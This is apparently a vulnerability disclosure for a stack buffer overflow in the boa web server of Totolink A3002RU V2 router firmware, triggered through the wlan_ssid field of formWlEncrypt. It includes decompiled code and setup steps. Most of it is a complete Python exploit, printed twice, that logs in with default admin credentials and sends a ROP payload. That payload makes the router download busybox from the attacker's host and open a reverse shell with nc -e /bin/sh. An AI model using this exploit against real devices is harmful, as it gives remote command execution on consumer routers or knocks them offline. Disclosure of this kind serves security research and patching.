[toc]
[VERSION]
Totolink AC1200 Wireless Dual Band Gigabit Router A3002RU_V2 Firmware V2.1.1-B20230720.1011
PROBLEM TYPE
Buffer Overflow
[DESCRIPTION]
The router model A3002RU V2 from Totolink is vulnerable to a stack buffer overflow exploit in its firmware version A3002RU_V2 Firmware V2.1.1-B20230720.1011, leading to arbitrary command execution or denial of service attacks.
Exploit Author:Yaxuan Wang
Date: April 29, 2024, 10:23:38
Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
https://github.com/Swind1er/Video/raw/main/A3002RU_V2.mp4
AC1200 Wireless Dual Band Gigabit Router A3002RU V2.1.1-B20230720.1011
https://www.totolink.net/data/upload/20230830/b6522bfbb931239b3bdc35b711813829.rar
git clone https://github.com/Swind1er/Download
unrar x A3002RU-V2.1.1-B20230720.1011.rar
binwalk --run-as=root -Me ./TOTOLINK-A3002RU-Hh-V2.1.1-B20230720.1011.webArchitecture: MIPS little endian
File Location
squashfs-root/bin/boaVulnerable File
Using IDA to analyze the boa file, at RVA: 0044429C, there is a function responsible for adding WLAN SSID. This function is a sub-function of the CGI handler function formWlEncrypt.
int __fastcall setWlan(int a1, int a2, int wlan_ssid)
{
int v7; // [sp+18h] [-3Ch] BYREF
char v8[12]; // [sp+1Ch] [-38h] BYREF
char wlan_ssid_apmib[44]; // [sp+28h] [-2Ch] BYREF
apmib_save_wlanIdx();
sprintf(v8, "wlan%d-vxd", a1);
sub_425240(v8);
apmib_get(1, wlan_ssid_apmib);
if ( strcmp(wlan_ssid_apmib, wlan_ssid) && strcmp(wlan_ssid, wlan_ssid_apmib) )
{
v7 = 1;
apmib_set(0x110, &v7);
strcpy(wlan_ssid_apmib, wlan_ssid);
apmib_set(1, wlan_ssid_apmib);
apmib_set(0x116, wlan_ssid_apmib);
apmib_set(a2, wlan_ssid_apmib);
}
sprintf(v8, "wlan%d", a1);
sub_425240(v8);
return apmib_recov_wlanIdx();
}In the CGI handler function formWlEncrypt of the web server (boa) in this firmware, the vendor only implemented simple character count control at the web front-end layer for the user-input wlan_ssid field, without enforcing any character count limit at the backend. This leads to a stack overflow due to strcpy(wlan_ssid_apmib, wlan_ssid);, subsequently resulting in arbitrary command execution or denial of service attacks.
-
FirmAE github:https://github.com/pr0v3rbs/FirmAE
-
gdb-multiarch
apt-get install gdb-multiarch -
Python version >= 3.8 and install the requests and pwntools libraries. Gallopsled/pwntools: CTF framework and exploit development library (github.com)
pip install requests sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools -
busybox-mipsel Download here:Swind1er/Download (github.com)
-
netcat
sudo apt-get install netcat
For ease of validation, the author simulated the router firmware using FirmAE.
First, the router firmware is simulated. It takes some time during the initial simulation of the firmware using FirmAE.
./run.sh -d /root/Desktop/share/emb/firmware/exct/A3002RU-V2.1.1-B20230720.1011/TOTOLINK-A3002RU-Hh-V2.1.1-B20230720.1011.webAfter the router comes online, we can access its web control page. (In the FirmAE simulation, the IP assigned to this router model is 192.168.0.1, and the default username and password for this router model are both admin.)
Trigger the stack overflow.
ASLR is disabled by default in the real environment, so use the following command to disable ASLR in the simulation environment:
echo 0 > /proc/sys/kernel/randomize_va_spaceThen run the following exploit:
from pwn import *
import logging
import requests
import re
import subprocess
logging.basicConfig(level=logging.DEBUG)
sessionId = ""
def invokeFormLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, json=data)
if response.status_code != 200:
logging.error("Failed to log in!")
exit(0)
def invokeGetSession():
global sessionId
url = "http://192.168.0.1/title.htm"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://192.168.0.1/wizardset.htm",
"Upgrade-Insecure-Requests": "1"
}
response = requests.get(url, headers=headers)
sessionid_pattern = re.compile(r"var\s+sessionid\s*=\s*'([^']+)';")
sessionid_match = sessionid_pattern.search(response.text)
if sessionid_match:
sessionid_value = sessionid_match.group(1)
sessionId = sessionid_value
logging.debug(f"sessionId--->{sessionId}")
else:
logging.error("sessionid no found!")
exit(0)
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cc1000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cc1000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cc1000
system = libc_base + 0x00060320
ra = libc_base + 0x00018224
s2 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
# .text:00018224 addiu $s1, $sp, 0x10
# .text:00018228 move $a1, $s4
# .text:0001822C move $t9, $s2
# .text:00018230 jalr $t9 ; mempcpy
# .text:00018234 move $a0, $s1
payload_factory = bytes(f'sessionCheck={sessionId}&submit-url=%2Fwlsecurity.htm&opmode_wizard=&staControlPrefer=0&staControlEnabled=0&80211v_enable_=disable&dot11k_=enable&SSID_Setting5=1&has_vwlan5=&wpaAuth5=psk&wpa11w5=none&wpa2EnableSHA2565=disable&ciphersuite5=aes&wpa2ciphersuite5=aes&wps_clear_configure_by_reg5=0&wlan_disabled5=0&wlan_ssid5=',encoding='utf-8')
payload_factory += b"a"*52+p32(s2)+b's3ss'+p32(ra)+b'c'*0x10+cmd
payload_factory += b'&method5=0&wlcontroltime5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2&key5=&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1\r\n'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeFormLogin()
invokeGetSession()
attack()
if __name__ == '__main__':
main()python ./exp.py
As shown in the image above, the shell has been successfully rebound.
from pwn import *
import logging
import requests
import re
import subprocess
logging.basicConfig(level=logging.DEBUG)
sessionId = ""
def invokeFormLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, json=data)
if response.status_code != 200:
logging.error("Failed to log in!")
exit(0)
def invokeGetSession():
global sessionId
url = "http://192.168.0.1/title.htm"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://192.168.0.1/wizardset.htm",
"Upgrade-Insecure-Requests": "1"
}
response = requests.get(url, headers=headers)
sessionid_pattern = re.compile(r"var\s+sessionid\s*=\s*'([^']+)';")
sessionid_match = sessionid_pattern.search(response.text)
if sessionid_match:
sessionid_value = sessionid_match.group(1)
sessionId = sessionid_value
logging.debug(f"sessionId--->{sessionId}")
else:
logging.error("sessionid no found!")
exit(0)
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cc1000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cc1000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cc1000
system = libc_base + 0x00060320
ra = libc_base + 0x00018224
s2 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
# .text:00018224 addiu $s1, $sp, 0x10
# .text:00018228 move $a1, $s4
# .text:0001822C move $t9, $s2
# .text:00018230 jalr $t9 ; mempcpy
# .text:00018234 move $a0, $s1
payload_factory = bytes(f'sessionCheck={sessionId}&submit-url=%2Fwlsecurity.htm&opmode_wizard=&staControlPrefer=0&staControlEnabled=0&80211v_enable_=disable&dot11k_=enable&SSID_Setting5=1&has_vwlan5=&wpaAuth5=psk&wpa11w5=none&wpa2EnableSHA2565=disable&ciphersuite5=aes&wpa2ciphersuite5=aes&wps_clear_configure_by_reg5=0&wlan_disabled5=0&wlan_ssid5=',encoding='utf-8')
payload_factory += b"a"*52+p32(s2)+b's3ss'+p32(ra)+b'c'*0x10+cmd
payload_factory += b'&method5=0&wlcontroltime5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2&key5=&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1\r\n'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeFormLogin()
invokeGetSession()
attack()
if __name__ == '__main__':
main()
